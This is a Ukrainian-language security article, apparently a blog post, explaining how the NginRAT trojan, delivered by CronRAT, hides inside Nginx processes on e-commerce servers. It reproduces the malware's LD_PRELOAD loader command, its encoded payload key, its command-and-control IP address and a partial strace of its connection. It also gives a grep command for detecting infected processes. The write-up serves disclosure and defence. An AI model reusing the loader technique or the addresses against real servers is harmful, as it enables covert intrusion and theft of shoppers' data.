Нова загроза для Nginx: що відомо про NginRAT?

Нещодавно з’явився новий шкідник Magecart, ціллю якого є сервери Nginx. Його шкідливий код проникає в додаток серверу, маскується у ньому та краде дані.

Ще до цього дослідники з компанії Sansec виявили шкідника CronRAT: він націлений на eCommerce-платформи та керується з Китаю. Під час експерименту спеціалісти створили свій клієнт RAT, через який отримали команди з КНР.

Отриманий код активував наступну ланку з цього ланцюга — NginRAT. Шкідник бере під контроль додаток Nginx через кореневий функціонал хосту Linux (як dlopen), щоб приховати свою діяльність. Коли сервер використовує потрібні йому функції, NginRAT проникає всередину.

Уся система — це троян віддаленого доступу у процесі Nginx. На серверах eCommerce-проєктів таких процесів немало, але сервер виглядає неушкодженим.

Дослідники знайшли NginRAT на серверах eCommerce-платформ в Німеччині, США та Франції, але вважають, що вражених серверів значно більше.

Аналіз NginRAT

Шкідник CronRAT з’єднується з головним сервером за адресою 47.115.46.167:443 через унікальні команди. Наприклад, dwn завантажує системну бібліотеку Linux у /dev/shm/php-shared. Далі CronRAT виконає цей код:

env LD_L1BRARY_PATH="[580 bytes]" \
    LD_PRELOAD=/dev/shm/php-shared \
    /usr/sbin/nginx --help --help --help --help --help --help --help --help \
    --help --help --help --help --help --help --help --help --help --help --help \
    --help --help --help --help --help --help --help --help --help --help --help \
    --help --help --help --help --help --help --help --help --help --help --help \
    --help --help --help --help --help --help --help --help --help 1>&2 &

Як раз він і вбудовує шкідника NginRAT у додаток Nginx.

Що коїться далі?

До Nginx надходять 2 змінні. У LD_L1BRARY_PATH є помилка 1, у якій міститься ключ від шифру корисного навантаження RAT:

LJMESRJVJJKTGSKRJAZTGRCGG5NEISKWJ4QDCMZAG5EFIV2CIY2UWT2FKFMVIT2VKIQDCMD4KZBVUNCDEAZSAVCTIQ3UKSKDGNFE4MSZJ5DTKRCNJAZVQWBXJVFECSRUGJDUKR2RIVIECTCDKNEFAS2HIFCVSIBSHB6FOT2CJJGFOTCOK5JUWSKDJI2FKM22LFHDKT2OLJEUYWC2KBCUSIBRHEQDETCYKBKFAQJWGI3TMT2RKM3VCWCNIJGFAVJWGRDFIQJXKQ3U6TKFK5HDIWKILBHFSRKRIEQDEN34GYZEWM2KJBHUWRCZLFLFQTSHJI3E6TBSG5KTMQ2LLI3UKN2QK5ETKTJAGIYSAVCELJHDGNBVKNCVCSKTLJLTKMZAGEYHYUJUEAYSAV2ZKBFTKUJVI5ETESSKINKUQRZWKM3DOQJTJFLUIMSBJRJVSQKCJU3VISSKIE2VUR2HIRDU6NCJEAZDTVXSVLQCAVEEAQ6JZNKIUQ7WXU25XTJOBP7IQ42E4LW6YLHDDXVB4FYRLYWTHAIGBU4CABJKWPVGTV5SRGXYI5Q4QPB3LTEPU42JUSCA

Друга змінна — LD_PRELOAD, і відноситься вона до функціонала відладки у Linux. Через неї розробники тестують системні бібліотеки, але ще вона може перехоплювати виклики стандартних бібліотек. Шкідлива бібліотека php-shared перехоплює dlopen та dlsym, що їх використовує Nginx.

Коли Nginx викликає dlopen, NginRAT одразу отримує контроль: він видаляє файл php-shared, змінює ім’я його процесу на nginx: worker process, збирає дані про систему та встановлює з’єднання з C&C-сервером за адресою 47.115.46.167. Далі шкідник очікує на команди тижнями чи навіть місяцями.

// Частковий strace NginRAT
uname({sysname="Linux", nodename="ubuntu-2gb-fsn1-1", ...}) = 0
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CHILD_SETTID|SIGCHLD, child_tidptr=0x7fb008b9d210) = 8949
openat(AT_FDCWD, "/proc/self/maps", O_RDONLY) = 3
getcwd("/dev/shm", 4096)          = 9
readlink("/proc/self/exe", "/usr/sbin/nginx", 4096) = 15
chdir("/usr/sbin")   
openat(AT_FDCWD, "/proc/self/stat", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/dev/shm/php-shared", O_RDONLY) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("47.115.46.167")}, 16) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)

А ось дамп трафіку початкового рукостискання NginRAT з сервером, який їм керує

Як знайти та знешкодити NginRAT?

NginRAT вбудовується у легітимний хост-процес серверу, тому звичайний /proc/PID/exe вказуватиме на Nginx, але не на шкідника. До того ж код бібліотеки не записується на диск, тож після запуску його неможливо знайти.

Але якщо працює бібліотека LD_L1BRARY_PATH з помилкою 1, це вказує на роботу NginRAT. Використайте цю команду, щоб знайти будь-які активні процеси:

$ sudo grep -al LD_L1BRARY_PATH /proc/*/environ | grep -v self/
/proc/17199/environ
/proc/25074/environ

Так ви знайдете всі скомпрометовані процеси, щоб потім вбити їх через kill -9 ‹PID›. Ще слід проаналізувати CronRAT, бо шкідник може сидіти у ваших задачах cron.

Обов’язково перевірте свої машини, бо шкідники не сплять. Здорових вам серверів та безпечного інтернету.

Залишити відповідь

Дякуємо, що поділились